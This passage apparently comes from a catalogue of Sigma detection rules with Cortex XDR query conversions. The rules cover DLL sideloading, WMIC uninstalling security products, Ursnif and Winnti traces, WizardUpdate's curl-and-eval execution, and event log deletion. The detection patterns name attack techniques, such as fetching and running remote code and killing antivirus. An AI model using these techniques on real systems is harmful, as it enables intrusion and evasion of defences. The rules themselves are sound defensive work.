            - '\pnrpnsp.dll'
            - '\policymanager.dll'
            - '\polstore.dll'
            - '\powrprof.dll'
            - '\printui.dll'
            - '\prntvpt.dll'
            - '\profapi.dll'
            - '\propsys.dll'
            - '\proximitycommon.dll'
            - '\proximityservicepal.dll'
            - '\prvdmofcomp.dll'
            - '\puiapi.dll'
            - '\radcui.dll'
            - '\rasapi32.dll'
            - '\rasdlg.dll'
            - '\rasgcw.dll'
            - '\rasman.dll'
            - '\rasmontr.dll'
            - '\reagent.dll'
            - '\regapi.dll'
            - '\reseteng.dll'
            - '\resetengine.dll'
            - '\resutils.dll'
            - '\rmclient.dll'
            - '\rpcnsh.dll'
            - '\rsaenh.dll'
            - '\rtutils.dll'
            - '\rtworkq.dll'
            - '\samcli.dll'
            - '\samlib.dll'
            - '\sapi_onecore.dll'
            - '\sas.dll'
            - '\scansetting.dll'
            - '\scecli.dll'
            - '\schedcli.dll'
            - '\secur32.dll'
            - '\security.dll'
            - '\sensapi.dll'
            - '\shell32.dll'
            - '\shfolder.dll'
            - '\slc.dll'
            - '\snmpapi.dll'
            - '\spectrumsyncclient.dll'
            - '\spp.dll'
            - '\sppc.dll'
            - '\sppcext.dll'
            - '\srclient.dll'
            - '\srcore.dll'
            - '\srmtrace.dll'
            - '\srpapi.dll'
            - '\srvcli.dll'
            - '\ssp_isv.exe_rsaenh.dll'
            - '\ssp.exe_rsaenh.dll'
            - '\sspicli.dll'
            - '\ssshim.dll'
            - '\staterepository.core.dll'
            - '\structuredquery.dll'
            - '\sxshared.dll'
            - '\systemsettingsthresholdadminflowui.dll'
            - '\tapi32.dll'
            - '\tbs.dll'
            - '\tdh.dll'
            - '\textshaping.dll'
            - '\timesync.dll'
            - '\tpmcoreprovisioning.dll'
            - '\tquery.dll'
            - '\tsworkspace.dll'
            - '\ttdrecord.dll'
            - '\twext.dll'
            - '\twinapi.dll'
            - '\twinui.appcore.dll'
            - '\uianimation.dll'
            - '\uiautomationcore.dll'
            - '\uireng.dll'
            - '\uiribbon.dll'
            - '\umpdc.dll'
            - '\unattend.dll'
            - '\updatepolicy.dll'
            - '\upshared.dll'
            - '\urlmon.dll'
            - '\userenv.dll'
            - '\utildll.dll'
            - '\uxinit.dll'
            - '\uxtheme.dll'
            - '\vaultcli.dll'
            - '\vdsutil.dll'
            - '\version.dll'
            - '\virtdisk.dll'
            - '\vssapi.dll'
            - '\vsstrace.dll'
            - '\wbemprox.dll'
            - '\wbemsvc.dll'
            - '\wcmapi.dll'
            - '\wcnnetsh.dll'
            - '\wdi.dll'
            - '\wdscore.dll'
            - '\webservices.dll'
            - '\wecapi.dll'
            - '\wer.dll'
            - '\wevtapi.dll'
            - '\whhelper.dll'
            - '\wimgapi.dll'
            - '\winbio.dll'
            - '\winbrand.dll'
            - '\windows.storage.dll'
            - '\windows.storage.search.dll'
            - '\windows.ui.immersive.dll'
            - '\windowscodecs.dll'
            - '\windowscodecsext.dll'
            - '\windowsudk.shellcommon.dll'
            - '\winhttp.dll'
            - '\wininet.dll'
            - '\winipsec.dll'
            - '\winmde.dll'
            - '\winmm.dll'
            - '\winnsi.dll'
            - '\winrnr.dll'
            - '\winscard.dll'
            - '\winsqlite3.dll'
            - '\winsta.dll'
            - '\winsync.dll'
            - '\wkscli.dll'
            - '\wlanapi.dll'
            - '\wlancfg.dll'
            - '\wldp.dll'
            - '\wlidprov.dll'
            - '\wmiclnt.dll'
            - '\wmidcom.dll'
            - '\wmiutils.dll'
            - '\wmpdui.dll'
            - '\wmsgapi.dll'
            - '\wofutil.dll'
            - '\wpdshext.dll'
            - '\wscapi.dll'
            - '\wsdapi.dll'
            - '\wshbth.dll'
            - '\wshelper.dll'
            - '\wsmsvc.dll'
            - '\wtsapi32.dll'
            - '\wwancfg.dll'
            - '\wwapi.dll'
            - '\xmllite.dll'
            - '\xolehlp.dll'
            - '\xpsservices.dll'
            - '\xwizards.dll'
            - '\xwtpw32.dll'
            # From https://github.com/XForceIR/SideLoadHunter/blob/main/SideLoads/README.md
            - '\amsi.dll'
            - '\appraiser.dll'
            - '\COMRES.DLL'
            - '\cryptnet.dll'
            - '\DispBroker.dll'
            - '\dsound.dll'
            - '\dxilconv.dll'
            - '\FxsCompose.dll'
            - '\FXSRESM.DLL'
            - '\msdtcVSp1res.dll'
            - '\PrintIsolationProxy.dll'
            - '\rdpendp.dll'
            - '\rpchttp.dll'
            - '\storageusage.dll'
            - '\utcutil.dll'
            - '\WfsR.dll'
            # The DLLs below exists in "C:\Windows\System32\DriverStore\FileRepository\" folder. But there is also a copy located in "C:\ProgramData\Package Cache\XXXXXXX\Graphics\". If you see them being loaded from there. Please comment them out, don't add a filter for ProgramData :)
            - '\igd10iumd64.dll'
            - '\igd12umd64.dll'
            - '\igdumdim64.dll'
            - '\igdusc64.dll'
            # Other
            - '\TSMSISrv.dll'
            - '\TSVIPSrv.dll'
            - '\wbemcomn.dll'
            - '\WLBSCTRL.dll'
            - '\wow64log.dll'
            - '\WptsExtensions.dll'
    filter_main_generic:
        # Note: this filter is generic on purpose to avoid insane amount of FP from legitimate third party applications. A better approach would be to baseline everything and add specific filters to avoid blind spots
        ImageLoaded|contains:
            - 'C:\$WINDOWS.~BT\'
            - 'C:\$WinREAgent\'
            - 'C:\Windows\SoftwareDistribution\'
            - 'C:\Windows\System32\'
            - 'C:\Windows\SystemTemp\'
            - 'C:\Windows\SysWOW64\'
            - 'C:\Windows\WinSxS\'
            - 'C:\Windows\SyChpe32\' # “hybrid” binaries containing x86-to-ARM stubs to improve the x86 emulation performance
    filter_main_windows_temp:
        ImageLoaded|startswith: 'C:\Windows\Temp\'
        Image|startswith:
            - 'C:\Windows\WinSxS\arm64'
            - 'C:\Windows\UUS\arm64\'
        Image|endswith:
            - '\TiWorker.exe'
            - '\wuaucltcore.exe'
    filter_main_dot_net:
        ImageLoaded|startswith: 'C:\Windows\Microsoft.NET\'
        ImageLoaded|endswith: '\cscui.dll'
    filter_main_defender:
        ImageLoaded|startswith: 'C:\ProgramData\Microsoft\Windows Defender\Platform\'
        ImageLoaded|endswith: '\version.dll'
    filter_main_directx:
        ImageLoaded|startswith: 'C:\Program Files\WindowsApps\Microsoft.DirectXRuntime_'
        ImageLoaded|endswith: '\d3dx9_43.dll'
    filter_optional_exchange:
        ImageLoaded|startswith: 'C:\Program Files\Microsoft\Exchange Server\'
        ImageLoaded|endswith: '\mswb7.dll'
    filter_optional_arsenal_image_mounter:
        ImageLoaded|startswith: 'C:\Program Files\Arsenal-Image-Mounter-'
        ImageLoaded|endswith:
            - '\mi.dll'
            - '\miutils.dl'
    filter_optional_office_appvpolicy:
        Image: 'C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe'
        ImageLoaded: 'C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVPolicy.dll'
    filter_optional_azure:
        ImageLoaded|startswith: 'C:\Packages\Plugins\Microsoft.GuestConfiguration.ConfigurationforWindows\'
    filter_optional_dell:
        Image|contains:
            - 'C:\Program Files\WindowsApps\DellInc.DellSupportAssistforPCs'
            - 'C:\Windows\System32\backgroundTaskHost.exe'
        ImageLoaded|startswith: 'C:\Program Files\WindowsApps\DellInc.DellSupportAssistforPCs'
    filter_optional_dell_wldp:
        Image|startswith: 'C:\Program Files\WindowsApps\DellInc.DellSupportAssistforPCs'
        Image|endswith: '\wldp.dll'
    filter_optional_checkpoint:
        Image|startswith:
            - 'C:\Program Files\CheckPoint\'
            - 'C:\Program Files (x86)\CheckPoint\'
        Image|endswith: '\SmartConsole.exe'
        ImageLoaded|startswith:
            - 'C:\Program Files\CheckPoint\'
            - 'C:\Program Files (x86)\CheckPoint\'
        ImageLoaded|endswith: '\PolicyManager.dll'
    condition: selection and not 1 of filter_main_* and not 1 of filter_optional_*
falsepositives:
    - Legitimate applications loading their own versions of the DLLs mentioned in this rule
level: high
Convert to SIEM query
high Strong Medium FP
Potential Tampering With Security Products Via WMIC
Detects uninstallation or termination of security products using the WMIC utility
status test author Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems) ATT&CK technique id 847d5ff3-8a31-4737-a970-aeae8fe21765
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (((action_process_image_command_line contains "wmic" and 
 action_process_image_command_line contains "product where " and 
 action_process_image_command_line contains "call" and 
 action_process_image_command_line contains "uninstall" and 
 action_process_image_command_line contains "/nointeractive") or 
 ((action_process_image_command_line contains "wmic" and 
 action_process_image_command_line contains "caption like ") and 
 (action_process_image_command_line in ("*call delete*", "*call terminate*"))) or 
 (action_process_image_command_line contains "process " and 
 action_process_image_command_line contains "where " and 
 action_process_image_command_line contains "delete")) and 
 (action_process_image_command_line in ("*%carbon%*", "*%cylance%*", "*%endpoint%*", "*%eset%*", "*%malware%*", "*%Sophos%*", "*%symantec%*", "*Antivirus*", "*AVG *", "*Carbon Black*", "*CarbonBlack*", "*Cb Defense Sensor 64-bit*", "*Crowdstrike Sensor*", "*Cylance *", "*Dell Threat Defense*", "*DLP Endpoint*", "*Endpoint Detection*", "*Endpoint Protection*", "*Endpoint Security*", "*Endpoint Sensor*", "*ESET File Security*", "*LogRhythm System Monitor Service*", "*Malwarebytes*", "*McAfee Agent*", "*Microsoft Security Client*", "*Sophos Anti-Virus*", "*Sophos AutoUpdate*", "*Sophos Credential Store*", "*Sophos Management Console*", "*Sophos Management Database*", "*Sophos Management Server*", "*Sophos Remote Management System*", "*Sophos Update Manager*", "*Threat Protection*", "*VirusScan*", "*Webroot SecureAnywhere*", "*Windows Defender*"))))
view Sigma YAML
title: Potential Tampering With Security Products Via WMIC
id: 847d5ff3-8a31-4737-a970-aeae8fe21765
related:
    - id: b53317a0-8acf-4fd1-8de8-a5401e776b96 # Generic Uninstall
      type: derived
status: test
description: Detects uninstallation or termination of security products using the WMIC utility
references:
    - https://twitter.com/cglyer/status/1355171195654709249
    - https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/
    - https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions
    - https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/
    - https://www.trendmicro.com/en_us/research/23/a/vice-society-ransomware-group-targets-manufacturing-companies.html
author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2021-01-30
modified: 2023-02-14
tags:
    - attack.defense-impairment
    - attack.t1685
logsource:
    category: process_creation
    product: windows
detection:
    selection_cli_1:
        CommandLine|contains|all:
            - 'wmic'
            - 'product where '
            - 'call'
            - 'uninstall'
            - '/nointeractive'
    selection_cli_2:
        CommandLine|contains|all:
            - 'wmic'
            - 'caption like '
        CommandLine|contains:
            - 'call delete'
            - 'call terminate'
    selection_cli_3:
        CommandLine|contains|all:
            - 'process '
            - 'where '
            - 'delete'
    selection_product:
        CommandLine|contains:
            - '%carbon%'
            - '%cylance%'
            - '%endpoint%'
            - '%eset%'
            - '%malware%'
            - '%Sophos%'
            - '%symantec%'
            - 'Antivirus'
            - 'AVG '
            - 'Carbon Black'
            - 'CarbonBlack'
            - 'Cb Defense Sensor 64-bit'
            - 'Crowdstrike Sensor'
            - 'Cylance '
            - 'Dell Threat Defense'
            - 'DLP Endpoint'
            - 'Endpoint Detection'
            - 'Endpoint Protection'
            - 'Endpoint Security'
            - 'Endpoint Sensor'
            - 'ESET File Security'
            - 'LogRhythm System Monitor Service'
            - 'Malwarebytes'
            - 'McAfee Agent'
            - 'Microsoft Security Client'
            - 'Sophos Anti-Virus'
            - 'Sophos AutoUpdate'
            - 'Sophos Credential Store'
            - 'Sophos Management Console'
            - 'Sophos Management Database'
            - 'Sophos Management Server'
            - 'Sophos Remote Management System'
            - 'Sophos Update Manager'
            - 'Threat Protection'
            - 'VirusScan'
            - 'Webroot SecureAnywhere'
            - 'Windows Defender'
    condition: 1 of selection_cli_* and selection_product
falsepositives:
    - Legitimate administration
level: high
Convert to SIEM query
high Moderate High FP
Potential Ursnif Malware Activity - Registry
Detects registry keys related to Ursnif malware.
status test author megan201296 ATT&CK technique id 21f17060-b282-4249-ade0-589ea3591558
cortex_xdr query
config case_sensitive = false | preset=xdr_registry | filter (event_type = ENUM.REGISTRY and 
 event_sub_type = ENUM.REGISTRY_CREATE_KEY) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 action_registry_key_name contains "\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-7C9D-AB0E-15700F2219A4")
view Sigma YAML
title: Potential Ursnif Malware Activity - Registry
id: 21f17060-b282-4249-ade0-589ea3591558
status: test
description: Detects registry keys related to Ursnif malware.
references:
    - https://blog.yoroi.company/research/ursnif-long-live-the-steganography/
    - https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads/
author: megan201296
date: 2019-02-13
modified: 2025-10-22
tags:
    - attack.persistence
    - attack.execution
    - attack.defense-impairment
    - attack.t1112
    - detection.emerging-threats
logsource:
    product: windows
    category: registry_add
detection:
    selection:
        TargetObject|endswith: '\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-7C9D-AB0E-15700F2219A4'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate Medium FP
Potential Waveedit.DLL Sideloading
Detects potential DLL sideloading of "waveedit.dll", which is part of the Nero WaveEditor audio editing software.
status test author X__Junior (Nextron Systems) ATT&CK sub-technique id 71b31e99-9ad0-47d4-aeb5-c0ca3928eeeb
cortex_xdr query
config case_sensitive = false | preset=xdr_image_load | filter event_type = ENUM.LOAD_IMAGE and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (action_module_path contains "\waveedit.dll" and 
 (not 
 ((actor_process_image_path in ("C:\Program Files (x86)\Nero\Nero Apps\Nero WaveEditor\waveedit.exe", "C:\Program Files\Nero\Nero Apps\Nero WaveEditor\waveedit.exe")) and 
 (action_module_path in ("C:\Program Files (x86)\Nero\Nero Apps\Nero WaveEditor\*", "C:\Program Files\Nero\Nero Apps\Nero WaveEditor\*"))))))
view Sigma YAML
title: Potential Waveedit.DLL Sideloading
id: 71b31e99-9ad0-47d4-aeb5-c0ca3928eeeb
status: test
description: Detects potential DLL sideloading of "waveedit.dll", which is part of the Nero WaveEditor audio editing software.
references:
    - https://www.trendmicro.com/en_us/research/23/f/behind-the-scenes-unveiling-the-hidden-workings-of-earth-preta.html
author: X__Junior (Nextron Systems)
date: 2023-06-14
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.execution
    - attack.stealth
    - attack.t1574.001
logsource:
    category: image_load
    product: windows
detection:
    selection:
        ImageLoaded|endswith: '\waveedit.dll'
    filter_main_legit_path:
        Image:
            - 'C:\Program Files (x86)\Nero\Nero Apps\Nero WaveEditor\waveedit.exe'
            - 'C:\Program Files\Nero\Nero Apps\Nero WaveEditor\waveedit.exe'
        ImageLoaded|startswith:
            - 'C:\Program Files (x86)\Nero\Nero Apps\Nero WaveEditor\'
            - 'C:\Program Files\Nero\Nero Apps\Nero WaveEditor\'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate High FP
Potential WerFault ReflectDebugger Registry Value Abuse
Detects potential WerFault "ReflectDebugger" registry value abuse for persistence.
status test author X__Junior ATT&CK sub-technique id 0cf2e1c6-8d10-4273-8059-738778f981ad
cortex_xdr query
config case_sensitive = false | preset=xdr_registry | filter (event_type = ENUM.REGISTRY and 
 event_sub_type = ENUM.REGISTRY_SET_VALUE) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 action_registry_key_name contains "\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger")
view Sigma YAML
title: Potential WerFault ReflectDebugger Registry Value Abuse
id: 0cf2e1c6-8d10-4273-8059-738778f981ad
related:
    - id: fabfb3a7-3ce1-4445-9c7c-3c27f1051cdd
      type: derived
status: test
description: Detects potential WerFault "ReflectDebugger" registry value abuse for persistence.
references:
    - https://cocomelonc.github.io/malware/2022/11/02/malware-pers-18.html
    - https://www.hexacorn.com/blog/2018/08/31/beyond-good-ol-run-key-part-85/
author: X__Junior
date: 2023-05-18
tags:
    - attack.stealth
    - attack.t1036.003
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|endswith: '\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Strong Medium FP
Potential WinAPI Calls Via CommandLine
Detects the use of WinAPI Functions via the commandline. As seen used by threat actors via the tool winapiexec
status test author Nasreddine Bencherchali (Nextron Systems) ATT&CK technique id ba3f5c1b-6272-4119-9dbd-0bc8d21c2702
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((action_process_image_command_line in ("*AddSecurityPackage*", "*AdjustTokenPrivileges*", "*Advapi32*", "*CloseHandle*", "*CreateProcessWithToken*", "*CreatePseudoConsole*", "*CreateRemoteThread*", "*CreateThread*", "*CreateUserThread*", "*DangerousGetHandle*", "*DuplicateTokenEx*", "*EnumerateSecurityPackages*", "*FreeHGlobal*", "*FreeLibrary*", "*GetDelegateForFunctionPointer*", "*GetLogonSessionData*", "*GetModuleHandle*", "*GetProcAddress*", "*GetProcessHandle*", "*GetTokenInformation*", "*ImpersonateLoggedOnUser*", "*kernel32*", "*LoadLibrary*", "*memcpy*", "*MiniDumpWriteDump*", "*ntdll*", "*OpenDesktop*", "*OpenProcess*", "*OpenProcessToken*", "*OpenThreadToken*", "*OpenWindowStation*", "*PtrToString*", "*QueueUserApc*", "*ReadProcessMemory*", "*RevertToSelf*", "*RtlCreateUserThread*", "*secur32*", "*SetThreadToken*", "*VirtualAlloc*", "*VirtualFree*", "*VirtualProtect*", "*WaitForSingleObject*", "*WriteInt32*", "*WriteProcessMemory*", "*ZeroFreeGlobalAllocUnicode*")) and 
 (not 
 ((action_process_image_path contains "\MpCmdRun.exe" and 
 action_process_image_command_line contains "GetLoadLibraryWAddress32") or 
 (actor_process_image_path contains "\CompatTelRunner.exe" and 
 (action_process_image_command_line in ("*FreeHGlobal*", "*PtrToString*", "*kernel32*", "*CloseHandle*")))))))
view Sigma YAML
title: Potential WinAPI Calls Via CommandLine
id: ba3f5c1b-6272-4119-9dbd-0bc8d21c2702
related:
    - id: 03d83090-8cba-44a0-b02f-0b756a050306
      type: derived
status: test
description: Detects the use of WinAPI Functions via the commandline. As seen used by threat actors via the tool winapiexec
references:
    - https://twitter.com/m417z/status/1566674631788007425
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-09-06
modified: 2025-03-06
tags:
    - attack.execution
    - attack.t1106
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'AddSecurityPackage'
            - 'AdjustTokenPrivileges'
            - 'Advapi32'
            - 'CloseHandle'
            - 'CreateProcessWithToken'
            - 'CreatePseudoConsole'
            - 'CreateRemoteThread'
            - 'CreateThread'
            - 'CreateUserThread'
            - 'DangerousGetHandle'
            - 'DuplicateTokenEx'
            - 'EnumerateSecurityPackages'
            - 'FreeHGlobal'
            - 'FreeLibrary'
            - 'GetDelegateForFunctionPointer'
            - 'GetLogonSessionData'
            - 'GetModuleHandle'
            - 'GetProcAddress'
            - 'GetProcessHandle'
            - 'GetTokenInformation'
            - 'ImpersonateLoggedOnUser'
            - 'kernel32'
            - 'LoadLibrary'
            - 'memcpy'
            - 'MiniDumpWriteDump'
            # - 'msvcrt'
            - 'ntdll'
            - 'OpenDesktop'
            - 'OpenProcess'
            - 'OpenProcessToken'
            - 'OpenThreadToken'
            - 'OpenWindowStation'
            - 'PtrToString'
            - 'QueueUserApc'
            - 'ReadProcessMemory'
            - 'RevertToSelf'
            - 'RtlCreateUserThread'
            - 'secur32'
            - 'SetThreadToken'
            # - 'user32'
            - 'VirtualAlloc'
            - 'VirtualFree'
            - 'VirtualProtect'
            - 'WaitForSingleObject'
            - 'WriteInt32'
            - 'WriteProcessMemory'
            - 'ZeroFreeGlobalAllocUnicode'
    filter_optional_mpcmdrun:
        Image|endswith: '\MpCmdRun.exe'
        CommandLine|contains: 'GetLoadLibraryWAddress32'
    filter_optional_compatTelRunner:
        ParentImage|endswith: '\CompatTelRunner.exe'
        CommandLine|contains:
            - 'FreeHGlobal'
            - 'PtrToString'
            - 'kernel32'
            - 'CloseHandle'
    condition: selection and not 1 of filter_optional_*
falsepositives:
    - Some legitimate action or applications may use these functions. Investigate further to determine the legitimacy of the activity.
level: high
Convert to SIEM query
high Moderate High FP
Potential Winnti Dropper Activity
Detects files dropped by Winnti as described in RedMimicry Winnti playbook
status test author Alexander Rausch ATT&CK technique id 130c9e58-28ac-4f83-8574-0a4cc913b97e
cortex_xdr query
config case_sensitive = false | preset=xdr_file | filter event_type = ENUM.FILE and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (action_file_name in ("*\gthread-3.6.dll", "*\sigcmm-2.4.dll", "*\Windows\Temp\tmp.bat")))
view Sigma YAML
title: Potential Winnti Dropper Activity
id: 130c9e58-28ac-4f83-8574-0a4cc913b97e
status: test
description: Detects files dropped by Winnti as described in RedMimicry Winnti playbook
references:
    - https://redmimicry.com/posts/redmimicry-winnti/#dropper
author: Alexander Rausch
date: 2020-06-24
modified: 2023-01-05
tags:
    - attack.stealth
    - attack.t1027
logsource:
    product: windows
    category: file_event
detection:
    selection:
        TargetFilename|endswith:
            - '\gthread-3.6.dll'
            - '\sigcmm-2.4.dll'
            - '\Windows\Temp\tmp.bat'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Strong Medium FP
Potential WizardUpdate Malware Infection
Detects the execution traces of the WizardUpdate malware. WizardUpdate is a macOS trojan that attempts to infiltrate macOS machines to steal data and it is associated with other types of malicious payloads, increasing the chances of multiple infections on a device.
status test author Tim Rauch (rule), Elastic (idea) ATT&CK tactic-only id f68c4a4f-19ef-4817-952c-50dce331f4b0
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_MAC and 
 ((action_process_image_path contains "/sh" and 
 (action_process_image_command_line contains "=$(curl " and 
 action_process_image_command_line contains "eval")) or 
 (action_process_image_path contains "/curl" and 
 action_process_image_command_line contains "_intermediate_agent_")))
view Sigma YAML
title: Potential WizardUpdate Malware Infection
id: f68c4a4f-19ef-4817-952c-50dce331f4b0
status: test
description: Detects the execution traces of the WizardUpdate malware. WizardUpdate is a macOS trojan that attempts to infiltrate macOS machines to steal data and it is associated with other types of malicious payloads, increasing the chances of multiple infections on a device.
references:
    - https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-c68a1fcbf7a3f80c87225d7fdc031f691e9f3b6a14a36754be00762bfe6eae97
    - https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset
    - https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/
author: Tim Rauch (rule), Elastic (idea)
date: 2022-10-17
tags:
    - attack.command-and-control
logsource:
    category: process_creation
    product: macos
detection:
    selection_1:
        Image|endswith: '/sh'
        CommandLine|contains|all:
            - '=$(curl '
            - 'eval'
    selection_2:
        Image|endswith: '/curl'
        CommandLine|contains: '_intermediate_agent_'
    condition: 1 of selection_*
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate Medium FP
Potential appverifUI.DLL Sideloading
Detects potential DLL sideloading of "appverifUI.dll"
status test author X__Junior (Nextron Systems) ATT&CK sub-technique id ee6cea48-c5b6-4304-a332-10fc6446f484
cortex_xdr query
config case_sensitive = false | preset=xdr_image_load | filter event_type = ENUM.LOAD_IMAGE and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (action_module_path contains "\appverifUI.dll" and 
 (not 
 ((actor_process_image_path in ("C:\Windows\SysWOW64\appverif.exe", "C:\Windows\System32\appverif.exe")) and 
 (action_module_path in ("C:\Windows\System32\*", "C:\Windows\SysWOW64\*", "C:\Windows\WinSxS\*"))))))
view Sigma YAML
title: Potential appverifUI.DLL Sideloading
id: ee6cea48-c5b6-4304-a332-10fc6446f484
status: test
description: Detects potential DLL sideloading of "appverifUI.dll"
references:
    - https://web.archive.org/web/20220519091349/https://fatrodzianko.com/2020/02/15/dll-side-loading-appverif-exe/
author: X__Junior (Nextron Systems)
date: 2023-06-20
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.execution
    - attack.stealth
    - attack.t1574.001
logsource:
    category: image_load
    product: windows
detection:
    selection:
        ImageLoaded|endswith: '\appverifUI.dll'
    filter_main_legit_path:
        Image:
            - 'C:\Windows\SysWOW64\appverif.exe'
            - 'C:\Windows\System32\appverif.exe'
        ImageLoaded|startswith:
            - 'C:\Windows\System32\'
            - 'C:\Windows\SysWOW64\'
            - 'C:\Windows\WinSxS\'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate High FP
Potentially Suspicious ASP.NET Compilation Via AspNetCompiler
Detects execution of "aspnet_compiler.exe" with potentially suspicious paths for compilation.
status test author Nasreddine Bencherchali (Nextron Systems) ATT&CK technique id 9f50fe98-fe5c-4a2d-86c7-fad7f63ed622
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((action_process_image_path in ("*:\Windows\Microsoft.NET\Framework\*", "*:\Windows\Microsoft.NET\Framework64\*", "*:\Windows\Microsoft.NET\FrameworkArm\*", "*:\Windows\Microsoft.NET\FrameworkArm64\*")) and 
 action_process_image_path contains "\aspnet_compiler.exe" and 
 (action_process_image_command_line in ("*\Users\Public\*", "*\AppData\Local\Temp\*", "*\AppData\Local\Roaming\*", "*:\Temp\*", "*:\Windows\Temp\*", "*:\Windows\System32\Tasks\*", "*:\Windows\Tasks\*"))))
view Sigma YAML
title: Potentially Suspicious ASP.NET Compilation Via AspNetCompiler
id: 9f50fe98-fe5c-4a2d-86c7-fad7f63ed622 # Susp Paths
related:
    - id: 9ccba514-7cb6-4c5c-b377-700758f2f120 # SuspChild
      type: similar
    - id: 4c7f49ee-2638-43bb-b85b-ce676c30b260 # TMP File
      type: similar
    - id: a01b8329-5953-4f73-ae2d-aa01e1f35f00 # Exec
      type: similar
status: test
description: Detects execution of "aspnet_compiler.exe" with potentially suspicious paths for compilation.
references:
    - https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/
    - https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-08-14
modified: 2025-02-24
tags:
    - attack.execution
    - attack.stealth
    - attack.t1127
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|contains:
            - ':\Windows\Microsoft.NET\Framework\'
            - ':\Windows\Microsoft.NET\Framework64\'
            - ':\Windows\Microsoft.NET\FrameworkArm\'
            - ':\Windows\Microsoft.NET\FrameworkArm64\'
        Image|endswith: '\aspnet_compiler.exe'
        CommandLine|contains:
            # Note: add other potential suspicious paths
            - '\Users\Public\'
            - '\AppData\Local\Temp\'
            - '\AppData\Local\Roaming\'
            - ':\Temp\'
            - ':\Windows\Temp\'
            - ':\Windows\System32\Tasks\'
            - ':\Windows\Tasks\'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate High FP
Potentially Suspicious Call To Win32_NTEventlogFile Class
Detects usage of the WMI class "Win32_NTEventlogFile" in a potentially suspicious way (delete, backup, change permissions, etc.) from a PowerShell script
status test author Nasreddine Bencherchali (Nextron Systems) ATT&CK tactic-only id caf201a9-c2ce-4a26-9c3a-2b9525413711
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (action_process_image_command_line contains "Win32_NTEventlogFile" and 
 (action_process_image_command_line in ("*.BackupEventlog(*", "*.ChangeSecurityPermissions(*", "*.ChangeSecurityPermissionsEx(*", "*.ClearEventLog(*", "*.Delete(*", "*.DeleteEx(*", "*.Rename(*", "*.TakeOwnerShip(*", "*.TakeOwnerShipEx(*"))))
view Sigma YAML
title: Potentially Suspicious Call To Win32_NTEventlogFile Class
id: caf201a9-c2ce-4a26-9c3a-2b9525413711
related:
    - id: e2812b49-bae0-4b21-b366-7c142eafcde2
      type: similar
status: test
description: Detects usage of the WMI class "Win32_NTEventlogFile" in a potentially suspicious way (delete, backup, change permissions, etc.) from a PowerShell script
references:
    - https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa394225(v=vs.85)
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-07-13
tags:
    - attack.defense-impairment
logsource:
    category: process_creation
    product: windows
detection:
    selection_class:
        CommandLine|contains: 'Win32_NTEventlogFile'
    selection_function:
        CommandLine|contains:
            - '.BackupEventlog('
            - '.ChangeSecurityPermissions('
            - '.ChangeSecurityPermissionsEx('
            - '.ClearEventLog('
            - '.Delete('
            - '.DeleteEx('
            - '.Rename('
            - '.TakeOwnerShip('
            - '.TakeOwnerShipEx('
    condition: all of selection_*
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Strong Medium FP
Potentially Suspicious Child Process Of Regsvr32
